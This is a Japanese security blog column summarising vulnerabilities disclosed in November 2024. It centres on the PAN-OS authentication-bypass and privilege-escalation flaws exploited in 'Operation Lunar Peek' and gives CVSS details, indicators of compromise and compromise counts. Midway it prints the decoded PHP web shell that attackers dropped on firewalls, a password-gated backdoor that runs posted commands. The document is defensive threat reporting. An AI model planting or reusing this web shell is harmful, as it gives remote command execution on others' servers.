2024年11月版　最速！危険度の高い脆弱性をいち早く解説「脆弱性研究所」第28回

2024.12.03

11月に公開された重大な脆弱性（CISA KEV参照）

11月に新たに公開された脆弱性は4055件となります。この中で特に重大な脆弱性をいくつかピックアップして説明します。

第三回で説明したCISAによる「実際に悪用されている脆弱性(Known Exploited Vulnerabilities Catalog)」のデータベース情報もあわせて載せています。

11月にCISAのKEVに登録された脆弱性はトータルで22件で、内訳は以下の通りです。

Palo Alto: 5件
Apple: 2件
Microsoft: 2件
PTZOptics: 2件
VMWare: 2件
Android: 1件
Array Networks: 1件
Atlassian: 1件
Cisco: 1件
CyberPannel: 1件
Metabase: 1件
Nostromo: 1件
Oracle: 1件
Progress: 1件

参考情報

CISA「Known Exploited Vulnerabilities Catalog」

1. PAN-OSでの2つの脆弱性（Critical: CVE-2024-0012, Moderate: CVE-2024-9474）と「Operation Lunar Peek」

2024年11月18日に、Palo Alto NetworkからPAN-OSのリモートコード実行(RCE)脆弱性と権限昇格の脆弱性が公開されました。これらの脆弱性を組み合わせることで、リモートの攻撃者が特権を得ることが可能です。実際にこれらの脆弱性を悪用した攻撃も観測されているようで、Palo Altoではこれらの脆弱性の悪用を「Operation Lunar Peek」として追跡しています。以下では、これらの脆弱性について概要をまとめます。

一次情報源

CVE情報

公開されたCVEは以下になります。なお、CVSS v4.0の読み方に関してはこちらを参照してください。

CVE-2024-0012
- 一次情報源: CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)対象OS
  - PAシリーズ・VMシリーズ・CNシリーズのファイアウォールおよび Panorama上のPAN-OS 10.2, 11.0, 11.1, 11.2
  CVSS
  - BT/B: 7.5 HighVector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/AU:N/R:U/V:C/RE:H/U:Red
- Palo Alto NetworksのPAN-OSソフトウェアで認証バイパスの脆弱性が見つかりました。この脆弱性により、未認証の攻撃者が管理用のWebインターフェイスへのネットワークにアクセスし、PAN-OS管理者権限を取得することで管理用のアクションの実行・構成の改竄・CVE-2024-9474など、他の認証権限昇格の脆弱性が悪用される可能性があります。

CVE-2024-9474
- 一次情報源: CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface対象OS
  - PAシリーズ・VMシリーズ・CNシリーズのファイアウォールおよび Panorama上のPAN-OS 10.1, 10.2, 11.0, 11.1, 11.2
  CVSS
  - BT/B: 6.9 MediumVector:CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/AU:N/R:U/V:C/RE:H/U:Red
- PAN-OSに権限昇格の脆弱性があり、管理Webインターフェイスにアクセスできる PAN-OSのユーザーは、root 権限でファイアウォール上でアクションを実行できます。

「Operation Lunar Peek」について

Unit42(Palo Altoの脅威インテリジェンスグループ)では、2024年11月18日からこれらの脆弱性を悪用した攻撃を観測しており、「Operation Lunar Peek」として追跡しています。以下では「Operation Lunar Peek」で判明している情報をまとめています。

IoC

IoCの完全なリストはUnit42のGitHubで手に入ります。以下は代表的な情報です。

SHA256	説明
3C5F9034C86CB1952AA5BB07B4F77CE7D8BB5CC9FE5C029A32C72ADC7E814668	攻撃されたファイアウォールにドロップされたPHP Web Shell。
User-Agent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko	攻撃の際に複数回観測されたユーザーエージェント。

PHP Web Shell

Unit42で本攻撃の活動を観測したところ、インタラクティブなコマンド実行と、攻撃されたファイアウォールへのPHP Web Shellのドロップが含まれていました。以下はデコードされたPHP Web Shellになります。

<?php $z="system";
if(${"_POST"}["b"]=="iUqPd")
{
    $z(${"_POST"}["x"]);
};

ユーザーエージェント文字列

脅威アクターがエクスプロイトを試行する際に、以下のユーザーエージェント文字列が複数観察されています。

User-Agent:Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko

CISA-KEV

前出のCISA-KEVでも11月18日に登録されており、米国連邦政府のシステムでは12月9日までの対応が求められています。

侵害の状況

ShadowServerは、今回の脆弱性に対してのPAN-OSへの侵害をトラッキングしており、2024年11月20日時点で2000台がハッキングされたとBlueSkyへのポストで述べています。

ちなみに11月20日のデータで日本を拡大すると、17件の侵害が見つかっている模様です。

Palo Alto Networksの該当製品を使っているユーザーは、なるべく早く更新したほうが良いでしょう。

参考情報

Palo Alto:CVE-2024-0012 PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)
Palo Alto:CVE-2024-9474 PAN-OS: Privilege Escalation (PE) Vulnerability in the Web Management Interface
ヒートウェーブ: CVSS v4.0について専門家が解説！CVSSの4つの構成要素
Unit42: Threat Brief: Operation Lunar Peek, Activity Related to CVE-2024-0012 and CVE-2024-9474
The ShadowServer Foundation: BlueSkyのポスト

D-Linkの脆弱性・EoLなので廃棄を勧めています